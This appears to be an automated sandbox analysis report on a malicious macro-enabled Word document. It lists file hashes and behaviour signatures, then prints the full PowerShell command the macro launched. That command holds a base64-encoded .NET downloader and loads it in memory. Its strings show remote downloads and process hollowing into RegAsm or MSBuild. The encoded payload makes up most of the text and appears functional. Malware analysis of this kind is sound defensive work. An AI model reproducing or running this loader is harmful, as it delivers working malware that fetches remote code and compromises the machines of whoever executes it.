Analysis
-
max time kernel
125s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
-
submitted
23-08-2024 09:06
General
-
Target
bb1d741b3cd16e1e95e46a9896bafee3_JaffaCakes118.docm
-
Size
40KB
-
MD5
bb1d741b3cd16e1e95e46a9896bafee3
-
SHA1
b713457ae790b72b2ddb59635856df29b5f78f06
-
SHA256
ff4827dd05be0be2fa3bb4a421bcad69f2a42a40a4949f8bcb39f2dd49bb9e4c
-
SHA512
7205cedd7ac05faad01a87797503aaa613505602356884d2a59a03fcf44f26e62cf3665166b00526d0119913c642a5d011520b8b46b88f2d8c59e721a861ba7d
-
SSDEEP
768:docWKs/icV5i5rrpeVKCX/Yt7zMWI7z/0MAj/LK2pfNa0tqvT4Jv7si:CGsA7eVKCPKuUMAjDKONa0tqvT4Jv7T
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 1 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 13 IoCs
-
Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bb1d741b3cd16e1e95e46a9896bafee3_JaffaCakes118.docm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /c [Byte[]]$code_ = [System.Convert]::FromBase64String('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AQAAASUAfggBAAABJwBKCAEAAAEpAGAIAQAAASsAvAgBAASAAAABAAAAAAAAAAAAAAAAAAsAAAACAAAAAAAAAAAAAAD4AJoAAAAAAAIAAAAAAAAAAAAAAPgA1AQAAAAACAAAAAAAAAAAAAAAAQGjAAAAAAAAAAAAAQAAAMYGAAAGAAUABwAFAAAAAAAAUmVzZXJ2ZWQxAFdpbmRvd3NGb3Jtc0FwcGxpY2F0aW9uMQBUb0ludDMyAFJlc2VydmVkMgBUb0ludDE2ADxNb2R1bGU+AFJ1blBFAGdldF9BU0NJSQBTVEFSVFVQX0lORk9STUFUSU9OAFByb2Nlc3NfSU5GT1JNQVRJT04AU3lzdGVtLklPAFByb2plY3REYXRhAGRhdGEAbXNjb3JsaWIATWljcm9zb2Z0LlZpc3VhbEJhc2ljAE1pc2MAVGhyZWFkSWQAUHJvY2Vzc0lkAEdldFByb2Nlc3NCeUlkAGJ5dGVzUmVhZABSZXN1bWVUaHJlYWQAdGhyZWFkAFN5bmNocm9uaXplZABjbWQAZGVmYXVsdEluc3RhbmNlAEdldEVudmlyb25tZW50VmFyaWFibGUAY29tcGF0aWJsZQBUaHJlYWRIYW5kbGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAUHJvY2Vzc0hhbmRsZQBoYW5kbGUARmlsZQBUaXRsZQBhcHBsaWNhdGlvbk5hbWUAY29tbWFuZExpbmUAVmFsdWVUeXBlAHR5cGUAZ2V0X0N1bHR1cmUAc2V0X0N1bHR1cmUAcmVzb3VyY2VDdWx0dXJlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAEVkaXRvckJyb3dzYWJsZVN0YXRlAERlbGV0ZQBTVEFUaHJlYWRBdHRyaWJ1dGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBHZW5lcmF0ZWRDb2RlQXR0cmlidXRlAERlYnVnZ2VyTm9uVXNlckNvZGVBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAFN1cHByZXNzVW5tYW5hZ2VkQ29kZVNlY3VyaXR5QXR0cmlidXRlAEJ5dGUAdmFsdWUAV2luZG93c0Zvcm1zQXBwbGljYXRpb24xLmV4ZQBnZXRfU2l6ZQBidWZmZXJTaXplAFNpemVPZgBFbmNvZGluZwBGcm9tQmFzZTY0U3RyaW5nAERvd25sb2FkU3RyaW5nAEdldFN0cmluZwBHZXRGb2xkZXJQYXRoAHBhdGgAbGVuZ3RoAE1hcnNoYWwAU3lzdGVtLkNvbXBvbmVudE1vZGVsAGtlcm5lbDMyLmRsbABudGRsbC5kbGwAUHJvZ3JhbQBTeXN0ZW0AcmVzb3VyY2VNYW4AYnl0ZXNXcml0dGVuAE1haW4ATnVjbGVhcl9FeHBsb3Npb24AUHJvY2Vzc0luZm9ybWF0aW9uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAE50VW5tYXBWaWV3T2ZTZWN0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAEV4Y2VwdGlvbgBIYW5kbGVSdW4AQ3VsdHVyZUluZm8Ac3RhcnR1cEluZm8AWmVybwBEZXNrdG9wAFNwZWNpYWxGb2xkZXIAQnVmZmVyAGJ1ZmZlcgBnZXRfUmVzb3VyY2VNYW5hZ2VyAFN5c3RlbS5Db2RlRG9tLkNvbXBpbGVyAEJpdENvbnZlcnRlcgBTdGRFcnJvcgBDbGVhclByb2plY3RFcnJvcgBTZXRQcm9qZWN0RXJyb3IALmN0b3IALmNjdG9yAEludFB0cgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5Db21waWxlclNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJlc291cmNlcwBXaW5kb3dzRm9ybXNBcHBsaWNhdGlvbjEuUHJvcGVydGllcy5SZXNvdXJjZXMucmVzb3VyY2VzAERlYnVnZ2luZ01vZGVzAFdpbmRvd3NGb3Jtc0FwcGxpY2F0aW9uMS5Qcm9wZXJ0aWVzAGluaGVyaXRIYW5kbGVzAHRocmVhZEF0dHJpYnV0ZXMAUHJvY2Vzc0F0dHJpYnV0ZXMAV3JpdGVBbGxCeXRlcwBHZXRCeXRlcwBjcmVhdGlvbkZsYWdzAFNldHRpbmdzAENyZWF0ZVByb2Nlc3MAYmFzZUFkZHJlc3MAYWRkcmVzcwBFeGlzdHMAQ29uY2F0AE9iamVjdABwcm90ZWN0AFN5c3RlbS5OZXQARW52aXJvbm1lbnRWYXJpYWJsZVRhcmdldABnZXRfRGVmYXVsdABXZWJDbGllbnQARW52aXJvbm1lbnQAZW52aXJvbm1lbnQAQ29udmVydABTdGRJbnB1dABTdGRPdXRwdXQAU3lzdGVtLlRleHQAV293NjRHZXRUaHJlYWRDb250ZXh0AFdvdzY0U2V0VGhyZWFkQ29udGV4dABjb250ZXh0AFZpcnR1YWxBbGxvY0V4AEFycmF5AGdldF9Bc3NlbWJseQBCbG9ja0NvcHkAUmVhZFByb2Nlc3NNZW1vcnkAV3JpdGVQcm9jZXNzTWVtb3J5AGN1cnJlbnREaXJlY3RvcnkAU3lzdGVtLlNlY3VyaXR5AElzTnVsbE9yRW1wdHkAAAAAWWEASABSADAAYwBIAE0ANgBMAHkAOQB3AFkAWABOADAAWgBXAEoAcABiAGkANQBqAGIAMgAwAHYAYwBtAEYAMwBMADAAaABSAGQARQBZADIAUwBEAGMAegAAWWEASABSADAAYwBIAE0ANgBMAHkAOQB3AFkAWABOADAAWgBXAEoAcABiAGkANQBqAGIAMgAwAHYAYwBtAEYAMwBMADIAaABsAGMARgBkAEQAYQBVAHAARwAADVcASQBOAEQASQBSAABdXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsAXAB2ADIALgAwAC4A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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAMAAAAdDwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');[Reflection.Assembly]::Load($code_).EntryPoint.Invoke($Null,$Null);2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
